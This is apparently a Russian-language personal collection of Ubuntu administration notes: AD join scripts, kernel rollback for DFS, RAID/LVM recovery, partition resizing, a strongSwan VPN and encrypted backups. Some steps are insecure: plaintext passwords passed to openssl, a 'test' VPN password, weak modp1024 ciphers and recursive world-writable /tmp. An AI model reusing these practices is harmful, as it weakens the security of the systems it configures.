cgminer -n
 [2013-04-18 14:16:18] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    
 [2013-04-18 14:16:18] CL Platform 0 name: AMD Accelerated Parallel Processing                    
 [2013-04-18 14:16:18] CL Platform 0 version: OpenCL 1.2 AMD-APP (1016.4)                    
 [2013-04-18 14:16:18] Error -1: Getting Device IDs (num)                    
 [2013-04-18 14:16:18] clDevicesNum returned error, no GPUs usable                    
 [2013-04-18 14:16:18] 0 GPU devices max detected

aticonfig --adapter=all --odgt
ERROR - X needs to be running to perform AMD Overdrive(TM) commands

Решение:

sudo /etc/init.d/lightdm stop

или

sudo /etc/init.d/kdm stop

или

sudo /etc/init.d/gdm stop

И затем стартуем все обратно:

sudo xinit

ubuntu1804_join_ad_using_winbind_samba

anonymous@undisclosed.example.com (Anonymous) — Tue, 03 Dec 2019 20:24:51 +0000

Тут я описываю как присоединить Ubuntu 18.04 Server к домену Active Directory с помощью Kerberos и Winbind

Задаем статический адрес - Network Static IP

Если хост свежий, то удаляем все файлики из папки /etc/netplan/ и создаем новый: /etc/netplan/50-network-init.yaml

network:
 version: 2
 ethernets:
   eth0:
     dhcp4: no
     dhcp6: no
     addresses: [192.168.1.13/24]
     gateway4: 192.168.1.254
     nameservers:
       search: [domainname.com]
       addresses: [192.168.1.1,192.168.1.2]

Применяем конфиг:

sudo ip address flush eth0
sudo ip address flush eth1
sudo netplan apply

Устанавливаем софт - Software needed to join AD

Некоторые нужные пакеты (например - krb5-user) отсуствуют в main, но находятся в репозитории universe. Поэтому, дописываем universe в файлике /etc/apt/sources.list или делаем так:

sudo apt-add-repository universe

И потом устанавливаем софт:

sudo apt-get -y purge cloud-init && sudo rm -rf /etc/cloud
sudo apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit

Если при установке скрипт будет спрашивать Kerberos default REALM - ничего не вводим и жмем enter.

Настраиваем софт - Setup chrony, kerberos, samba, nsswitch, pam

Этот скрипт конфигурирует Ubuntu 18.04 для присоединения к домену AD. В начале скрипта есть список переменных, который нужно заполнить в соответствии с параметрами вашего окружения.

#! /bin/bash
NEW_HOSTNAME=somehostname
NEW_DOMAINNAME=domaniname.com
DNS_SERVERS='192.168.1.1 192.168.1.2'
DOMAIN_CONTROLLERS='dc1.domaniname.com dc2.domaniname.com'
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')

#########################################
### Setup NTP servers
#########################################
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
echo "$SMB_CONF" > /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*systemd$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*systemd$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i "/^Default:.*\$/ s/:.*$/: yes/" /usr/share/pam-configs/mkhomedir
sed -i '/^mkhomedir/D' /var/lib/pam/seen
pam-auth-update --package

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable smbd.service
systemctl enable winbind.service

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sed -i '/^127./D' /etc/hosts
echo "127.0.0.1 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME localhost" | sudo tee -a /etc/hosts
echo "127.0.0.2 $NEW_HOSTNAME.$NEW_DOMAINNAME $NEW_HOSTNAME" | sudo tee -a /etc/hosts
sed -i "/^.*preserve_hostname:.*$/ s/false/true/" /etc/cloud/cloud.cfg
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname

Собственно присоединение к AD - Join AD

sudo net ads join -U domainadmin

Права sudo для доменных пользователей - AD users sudoers

После присоединения можно добавить доменных пользователей в группу sudo для того, чтобы дать права:

sudo usermod -aG sudo domain_user_name

Для добавления групп - редактируем /etc/sudoers с помощью visudo:

sudo visudo

Группы добавляются с помощью строк, начинающихся с %, пробелы в названиях групп заменяются на ^, а слеш экранируется \\.
Для добавления доменных админов нужно добавить строку:

%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL

или без домена (в зависимости от настроек):

%domain^admins     ALL=(ALL:ALL) ALL

В любом случае - проверить, что система видит доменного пользователя и получить текущий список его групп можно командой:

sudo -u domainusername groups

Проверка

Убедиться, что в системе видны пользователи домена можно командой:

 wbinfo -u

В выводе должны быть все пользователи домена.
Также можно увидеть доступные группы:

wbinfo -g

Пробуем залогиниться доменным пользователем:

su -l domain.user

Скрипт для быстрого присоединения Ubuntu к домену Active Directory

Данный скрипт я использую для быстрой настройки и присоединения к домену машин (и контейнеров) без специальных требований. Просто для аутентификации пользователей из AD. Проверено на Ubuntu 16.04, 18.04, 19.04, 19.10.

#! /bin/bash

####################################
#### Set needed Variables
####################################
NEW_DOMAINNAME="domain.local"
DNS_SERVERS="192.168.1.100 192.168.1.1"
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME"
DOMAIN_CONTROLLERS=`host -t srv _ldap._tcp.$NEW_DOMAINNAME | awk {'print $8'} | sed 's/.$//g'`
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')

# check root
if [ "$(id -u)" != "0" ]; then
  echo "You do not have the appropriate privileges..."
  exit 1
fi

##############################################
### Setting up NameServers
##############################################
echo "search $DNS_STATIC_SEARCHLIST" | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne > /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo "nameserver $nameserver" | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

####################################
#### Setup Software
####################################
apt-get update
apt-get -y upgrade
apt-get -y install nano curl openssl libnss3-tools software-properties-common \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service

#########################################
### Setup NTP servers
#########################################
sed -i "/^pool.*\$/ s/^/#/" /etc/chrony/chrony.conf
sed -i "/^server.*\$/ s/^/#/" /etc/chrony/chrony.conf

for dc in $DOMAIN_CONTROLLERS;
do
echo "server $dc iburst" | sudo tee -a /etc/chrony/chrony.conf
done

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]
pam = {
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        realm = $DEFAULT_REALM
        security = ADS
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        encrypt passwords = yes
        kerberos method = secrets and keytab
        winbind nested groups = yes
        winbind offline logon = yes
        winbind refresh tickets = yes
        winbind use default domain = yes
        dns proxy = no
        domain master = no
        local master = no
        preferred master = no
        load printers = no
        show add printer wizard = no
        printcap name = /dev/null
        disable spoolss = yes
        client use spnego = yes
        client ntlmv2 auth = yes
        client max protocol = SMB2
        client min protocol = SMB2
EOF
)

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak_`date +"%d.%m.%y_%H-%M"`
echo "$SMB_CONF" > /etc/samba/smb.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*systemd/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*systemd$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
sed -i "/^Default:.*\$/ s/:.*$/: yes/" /usr/share/pam-configs/mkhomedir
sed -i '/^mkhomedir/D' /var/lib/pam/seen
pam-auth-update --package

Для присоединения:

net ads joun -U domain_admin_loginname

ubuntu_16.04_cant_mount_dfs

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

В Unbunu 16.04 Xenial не монтирует папки DFS.

Решение

Оказалось это проблема ядра и все версии новее 4.4.0.36 не работают нормально с DFS (как минимум до 4.8). Описание бага тут: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1626112

Нужно просто откатиться на версию ядра 4.4.0.36:

sudo apt-get purge linux-generic linux-headers-4.4.0-38 linux-headers-4.4.0-38-generic linux-headers-generic linux-image-4.4.0-38-generic linux-image-generic
sudo apt-get install linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic
sudo apt-mark hold linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic

Если вдруг надо обновляться:

sudo apt-mark unhold linux-headers-4.4.0-36-generic linux-headers-4.4.0-36-lowlatency linux-image-4.4.0-36-lowlatency linux-image-extra-4.4.0-36-generic
sudo apt-get update
sudo apt-get upgrade

Я пользуюсь pam_mount и у меня все заработало сразу после перезагруки.

ubuntu_16.04_check_stig_compliance_check

anonymous@undisclosed.example.com (Anonymous) — Sat, 04 Feb 2023 08:27:45 +0000

Hardening Linux - Ubuntu 16.04 check STIG compliance check

STIG (Security Technical Implementation Guide) - стандарт министерства обороны США (DOD)
https://access.redhat.com/blogs/766093/posts/1976103
http://manpages.ubuntu.com/manpages/zesty/man8/scap-workbench.8.html
http://www.public.navy.mil/spawar/Atlantic/Technology/Pages/SCAP.aspx
https://github.com/OpenSCAP/scap-security-guide/tree/master/Ubuntu/16.04
https://conklin.io/assessing-centos-7-with-openscap/
https://public.cyber.mil/?s=ubuntu

sudo apt-get install cmake build-essential openssh-client util-linux libopenscap-dev qtbase5-dev git asciidoctor 
git clone https://github.com/OpenSCAP/scap-workbench
cd scap-workbench/
mkdir build; cd build
cmake ../
make

DISA STIG на CentOS

Best practice to scan the CentOS?

Q:
How can we use the DISA RHEL 7 STIG against CentOS box?
Do we need to make modification in the RHEL 7 STIG? If so, steps to do that?

A:
As long as the /etc/redhat-release file has the 'release 7' text in it, it should work. If CentOS does not have the /etc/redhat-release file, you can do one of the following…

Create a /etc/redhat-release file and add 'CentOS Linux release 7' into it.
Download the audit file, and the line ' file : “/etc/redhat-release”' to ' file : “/etc/centos-release”'

ubuntu_16.04_lemp

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Disable IPv6

Чтобы выключить IPv6 правим файлик /etc/sysctl.conf и добавляем туда строки:

##Disable IPv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

Hostname

В файликах /etc/hostname и /etc/hosts нужно прописать имя хоста, а потом перезагрузиться.

LEMP

ubuntu_16.04_mdadm_raid_boot_initramfs_only

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Система Ubuntu 16.04 установлена на программный (mdadm) RAID1. Массив /dev/md0 загрузочный и монтируется в /boot Массив /dev/md1 - это lvm physical volume. На нем два lv - один монтируется в корень / и второй - swap.

Если вывести из строя один из дисков, то система загружается только в intramfs и сообщает, что не найден Volume group.

Для начала смотрим что у нас в /proc/mdstat. А там, скорее всего, оба массива inactive. Запускаем их:

mdadm --run /dev/md0
mdadm --run /dev/md1

Затем нужно найти (если они не нашлись автоматически) physical volume и активировать volume group. Запускаем lvm:

lvm

И там выполняем:

pvscan 
vgchange -ay

В результате должно быть так:

logical volumes in volume group now active

Все. Выходим из lvm и из initramfs shell

exit
exit

A start job is running for dev-disk-by\

/boot в /etc/fstab

ubuntu_16.04_usb_keyboard_mouse_stops_working

anonymous@undisclosed.example.com (Anonymous) — Wed, 02 Mar 2022 12:27:05 +0000

Проблема

На Ubuntu 16.04 периодически отключаются клавиатура и мышь. Но при этом, комп нормально реагирует на кнопку выключения.

Причина

Причина, судя по всему, в том, что USB переходит в режим энергосбережения.

Решение

Чтобы временно (до перезагрузки) отключить энергосбережение USB выполняем:

sudo sh -c "echo -1 > /sys/module/usbcore/parameters/autosuspend"

Чтобы раз и навсегда выключить энергосбережение USB нужно добавить параметрам запуска ядра такое:

usbcore.autosuspend=-1

Для этого - редактируем файлик /etc/default/grub, редактируем параметры запуска ядра в переменной GRUB_CMDLINE_LINUX_DEFAULT, выполняем

sudo update-grub

И перезагружаемся.

Аналогично

magicmouse 0005:05AC:030D.0036: unknown main item tag 0x0

ubuntu_18.04_resize_root_partiton

anonymous@undisclosed.example.com (Anonymous) — Fri, 20 Sep 2019 11:19:01 +0000

Ситуация - Ubuntu 18.04 установлена на виртуальной машине. Разбивка дисков - дефолтная LVM. Нужно добавить места на диск с системой и расширить LVM. Я не хочу добавлять новый раздел, а хочу расширить существующий.

Было так:

# gdisk -l /dev/xvda

Disk /dev/xvda: 25165824 sectors, 12.0 GiB
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 16777182

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048            4095   1024.0 KiB  EF02
   2            4096         2101247   1024.0 MiB  8300
   3         2101248        16777182   7.0 GiB     8300  Linux filesystem

Нужно пересоздать раздел, расширив его на свободное место:

sudo sgdisk --delete=3 /dev/xvda
sudo sgdisk --new=3:$(expr $(sudo sgdisk -p /dev/xvda | awk '/   2 /  {print($3)}') + 1):$(expr $(sudo sgdisk -p /dev/xvda | awk '/Disk \// {print($3)}') - 34) /dev/xvda
sudo sgdisk --typecode=3:8300 /dev/xvda
sudo partprobe

или проще:
Переносим заголовок раздела в конец диска

sgdisk -e /dev/sda

Удаляем и вновь создаем раздел:

sgdisk -d 3 /dev/sda
sgdisk -N 3 /dev/sda

Делаем изменения доступными в системе:

partprobe /dev/sda

Стало так:

# gdisk -l /dev/xvda

Disk /dev/xvda: 25165824 sectors, 12.0 GiB
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 25165790

Number  Start (sector)    End (sector)  Size       Code  Name
   1            2048            4095   1024.0 KiB  EF02
   2            4096         2101247   1024.0 MiB  8300
   3         2101248        25165790   11.0 GiB    8300

После этого делаем ресайз физического тома:

sudo pvresize /dev/xvda3

В результате физический том займет всё свободное место на разделе.

sudo lvresize -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv

ubuntu_18.04_setup_strongswan

anonymous@undisclosed.example.com (Anonymous) — Wed, 13 Jul 2022 12:08:33 +0000

Задача

Настроить L2TP IPSec VPN сервер для подключения Windows-клиентов.

Решение

Решение по мотивам https://www.digitalocean.com/community/tutorials/how-to-set-up-an-ikev2-vpn-server-with-strongswan-on-ubuntu-18-04-2

Ставим софт

sudo apt-get update && sudo apt-get upgrade

sudo apt-get install strongswan certbot libcharon-extra-plugins

Настраиваем firewall

sudo ufw allow OpenSSH
sudo ufw allow http
sudo ufw allow https
sudo ufw allow 500,4500/udp

sudo ufw enable

Получаем сертификат

sudo certbot certonly --rsa-key-size 4096 --standalone --agree-tos --no-eff-email --email mikhail@xc360.ru -d testprivate.xc360.ru

копируем его в конфигурацию ipsec

sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/fullchain.pem /etc/ipsec.d/certs/
sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/privkey.pem /etc/ipsec.d/private/
sudo cp /etc/letsencrypt/live/testprivate.xc360.ru/chain.pem /etc/ipsec.d/cacerts/

Конфигурация сервера IPSec

sudo mv /etc/ipsec.conf{,.original}

/etc/ipsec.conf

https://wiki.strongswan.org/projects/strongswan/wiki/Win7EapMultipleConfig

#global configuration IPsec
#chron logger
config setup
#    charondebug="ike 1, knl 1, cfg 0"
#    uniqueids=no
     plutostart=no

conn %default
    keyexchange=ikev2
    ike=aes128-sha1-modp1024,aes128-sha1-modp1536,aes128-sha1-modp2048,aes128-sha256-ecp256,aes128-sha256-modp1024,aes128-sha256-modp1536,aes128-sha256-modp2048,aes256-aes128-sha256-sha1-modp2048-modp4096-modp1024,aes256-sha1-modp1024,a$
    esp=aes128-aes256-sha1-sha256-modp2048-modp4096-modp1024,aes128-sha1,aes128-sha1-modp1024,aes128-sha1-modp1536,aes128-sha1-modp2048,aes128-sha256,aes128-sha256-ecp256,aes128-sha256-modp1024,aes128-sha256-modp1536,aes128-sha256-modp2$
    dpdaction=clear
    dpddelay=300s
    rekey=no

conn win7
    left=%any
    leftsubnet=0.0.0.0/0
    leftauth=pubkey
    leftcert=fullchain.pem
    leftid=@testprivate.xc360.ru
    right=%any
    rightsourceip=10.10.10.0/24
    rightauth=eap-mschapv2
    #rightsendcert=never   # see note
    eap_identity=%identity
    auto=add

Прописываем пользователей - /etc/ipsec.secrets

RSA “privkey.pem”

user : EAP “test”

Выдаем клиентам DNS и WINS серверы

/etc/strongswan.d/client-dns.conf

charon {
  dns1 = 4.2.2.4
  dns2 = 8.8.8.8
}

/etc/strongswan.d/client-wins.conf

charon {
  nbns1 = 10.10.1.1
  nbns2 = 10.10.0.1
}

Контролируем работу

sudo tail -f /var/log/syslog

Проблемы

подключение только со второй попытки

https://wiki.strongswan.org/issues/1183
Если при первой попытке подключения Windows-клиент сообщает, что неверный пароль, но успешно подключается с тем же паролем со второй попытки, а в логах сервера есть такое:

user charon: 11[ENC] parsed IKE_AUTH request 2 [ EAP/RES/MSCHAPV2 ]
user charon: 11[IKE] EAP-MS-CHAPv2 username: '%any'
user charon: 11[IKE] no EAP key found for hosts '%any' - '%any'
user charon: 11[IKE] EAP-MS-CHAPv2 verification failed, retry (1)

значит нужно установить libcharon-extra-plugins, а в конфигурации /etc/ipsec.conf должно быть прописано:

eap_identity=%identity

Не подключается

В логах сервера такое:

user charon: 07[IKE] received proposals inacceptable

Это значит, что сервер и клиент не могут договориться о применяемых алгоритмах шифрования. Нужно смотреть на строки:

ike=...
esp=...

в них прописаны разрешенные алгоритмы шифрования

ubuntu_ad_faq

anonymous@undisclosed.example.com (Anonymous) — Tue, 30 Mar 2021 09:51:12 +0000

хороший мануал с подробностями от Исаева Романа А. https://forum.ubuntu.ru/index.php?topic=17941.0

ubuntu_backup

anonymous@undisclosed.example.com (Anonymous) — Sun, 12 Jan 2020 19:06:09 +0000

Backup

В один поток:

sudo tar -cvpzf - --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop/Shared --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop/W  --exclude=/var/lib/libvirt/qemu/save/Win2008.save / | openssl enc -aes-192-cbc -pass pass:xxx -out /mnt/sdb1/backup_$(date +"%d.%m.%y_%H-%M").tar.gz.enc

В несколько потоков с помощью pigz:

sudo apt-get install pigz
sudo tar -cvpf - --use-compress-program=pigz --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/local/RIMOS_NT_01/usikmi/Desktop --exclude=/var/lib/libvirt / | openssl enc -aes-192-cbc -pass pass:xxx -out /mnt/hdd/backup_$(date +"%d.%m.%y_%H-%M").tar.gz.enc

Backup по расписанию

/etc/cron.daily/backup

Скрипт бекапит систему в заданную папку и следит за количеством файлов бекапа.

#!/bin/bash
backup_depth_days=14
backup_path='/mnt/hdd'
backup_prefix='backup_'

backup_files=`ls $backup_path/$backup_prefix* -t`
backup_files=(${backup_files// / })

if [[ ${#backup_files[@]} -gt $backup_depth_days ]]; then
        for ((i = $backup_depth_days; i < ${#backup_files[@]}; i++))
        {
            sudo rm -r -f ${backup_files[$i]}
        }
fi

sudo tar -cvpf $backup_path/$backup_prefix$(date +"%d.%m.%y_%H-%M").tar.gz --use-compress-program=pigz --exclude=/mnt --exclude=/sys --exclude=/run --exclude=/dev --exclude=/proc --exclude=/media --exclude=/tmp --exclude=/var/log/lastlog --exclude=/home/RDLEAS/usik.ma/Downloads /

Restore

Загружаемся с Live-CD.

Восстановление на тот же раздел

При восстановлении на тот же раздел форматируем его с сохранением UUID (чтобы не переписывать /etc/fstab):

sudo mkfs.ext4 -L "label" -U "$(sudo blkid -o value -s UUID /dev/sdXy)" /dev/sdXy

Монтируем раздел:

mkdir /mnt/restore
mount /dev/sdXy /mnt/restore

Расшифровываем и распаковываем файлик бекапа:

openssl enc -in /mnt/sdb1/backup_.tar.gz.enc -d -aes-192-cbc -pass pass:1q2w3e4R1 | sudo tar --same-owner -xzvpf - -C /mnt/restore

На всякий случай (не обязательно) восстанавливаем grub:

sudo grub-install --root-directory=/mnt/restore /dev/sdX

Обязательно создаем снова папки, которые были исключены при копировании:

sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo touch /mnt/restore/var/log/lastlog

Даем права на /tmp (иначе не запустятся иксы):

sudo chmod -R a+rw /mnt/restore/tmp

Восстановление на другой диск

Разбиваем диск fdisk'ом. Делаем загрузочный раздел активным. Форматируем и монтируем:

sudo mkfs.ext4 /dev/sdXy
mount /dev/sdXy /mnt/restore

Распаковываем файлик бекапа:

openssl enc -in /mnt/sdb1/backup_.tar.gz.enc -d -aes-192-cbc -pass pass:1q2w3e4R1 | sudo tar --same-owner -xzvpf - -C /mnt/restore

Обязательно создаем снова папки, которые были исключены при копировании:

sudo mkdir /mnt/restore/{mnt,sys,run,dev,proc,media,tmp}
sudo touch /var/log/lastlog

Даем права на /tmp (иначе не запустятся иксы):

sudo chmod -R a+rw /tmp

Обязательно восстанавливаем grub:

sudo grub-install --root-directory=/mnt/restore /dev/sdX

После установки grub нужно пересоздать файлик конфигурации /boot/grub/grub.cfg. Без этого шага при загрузке будет появляться сообщение типа:
Gave up waiting for root device.
ALERT: /dev/disk/by-uuid/… does not exist. Dropping to a shell!. Итак пересоздаем grub.cfg.

sudo mount --bind /dev /mnt/restore/dev
sudo mount --bind /proc /mnt/restore/proc
sudo mount --bind /sys  /mnt/restore/sys
sudo chroot /mnt/restore
sudo mv /boot/grub/grub.cfg /boot/grub/grub.cfg.old
sudo grub-mkconfig -o /boot/grub/grub.cfg
exit

И последний штрих - переписываем UUID разделов в /etc/fstab, вернее в /mnt/restore/etc/fstab. Узнать новые UUID разделов можно командой:

blkid /dev/sdXy

Все. Теперь можно перезагрузиться в восстановленную систему.

Проблемы и их решения

Не стартуют иксы

Надо смотреть на ошибки, но скорее всего, нет доступа на запись в папку /tmp выпоняем:

sudo chmod -R a+rw /tmp

lightdm

При запуске KDE я столкнулся с проблемой запуска lightdm. При старте не появляется Login Screen где нужно выбрать пользователя и ввести пароль. Вместо него - черный экран. При попытке запустить lightdm он сообщает что:

Error getting user list from org.freedesktop.Accounts
Failed to execute program /usr/lib/dbus-1.0/dbus-daemon-launch-helper: Success

Тут помогла простая переустановка всех пакетов связанных с Lightdm. В моем случае так:

sudo apt-get install --reinstall liblightdm-gobject-1-0 liblightdm-qt-3-0 lightdm lightdm-kde-greeter

PBIS AD

Кроме того, машинка была в домене и из домена вылетела. Вводим ее обратно с помощью PowerBroker (PBIS):

sudo /opt/pbis/bin/domainjoin-cli join domainName ADjoinAccountName

Ошибка

Error getting authority: Error initializing authority: Error calling StartServiceByName for org.freedesktop.PolicyKit1: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ExecFailed: Failed to execute program /usr/lib/dbus-1.0/dbus-daemon-launch-helper: Permission denied

chmod a+x /usr/lib/dbus-1.0/dbus-daemon-launch-helper

ubuntu_build_pidgin_from_source

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Проблема

Недавно при очередном штатном обновлении Ubuntu 14.04 возникла проблема с зависимостями. Для плагина pidgin-sipe оказался нужен remmina-plugin-rdp, для него в свою очередь нужен libfreerdp1, но сам pidgin-sipe из репозитория Ubuntu 14.04 хочет установить libfreerdp2. В результате libfreerdp1 конфиликтует с libfreerdp2 и плагин pidgin-sipe не работает.
Положение усугубилось тем, что при попытке собрать pidgin-sipe из исходников он стал ругаться примерно так:

purple-buddy.c: In function 'sipe_backend_buddy_set_status':
purple-buddy.c:331:3: error: implicit declaration of function 'purple_prpl_got_user_status' [-Werror=implicit-function-declaration]
   purple_prpl_got_user_status(purple_private->account, who,
   ^
purple-buddy.c:331:3: error: nested extern declaration of 'purple_prpl_got_user_status' [-Werror=nested-externs]

Оказалось, что функция purple_prpl_got_user_status находится в заголовочном файле prpl.h, который должен водить в состав пакета pidgin-dev или libpurple-dev, однако после установки этих пакетов в системе prpl.h не появился.

Решение - установить Pidgin и SIPE plugin из исходников.

Зависимости

sudo apt-get install libgtk2.0-dev libxss-dev libstartup-notification0 libstartup-notification0-dev libavahi-glib-dev libperl-dev libgnutls-dev tcl8.4-dev tk8.4-dev libgtkspell0 libgtkspell-dev libxml2-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libfarstream-0.1-dev python-farstream libfarstream-0.1-0 gir1.2-farstream-0.1 libmeanwhile-dev network-manager-dev

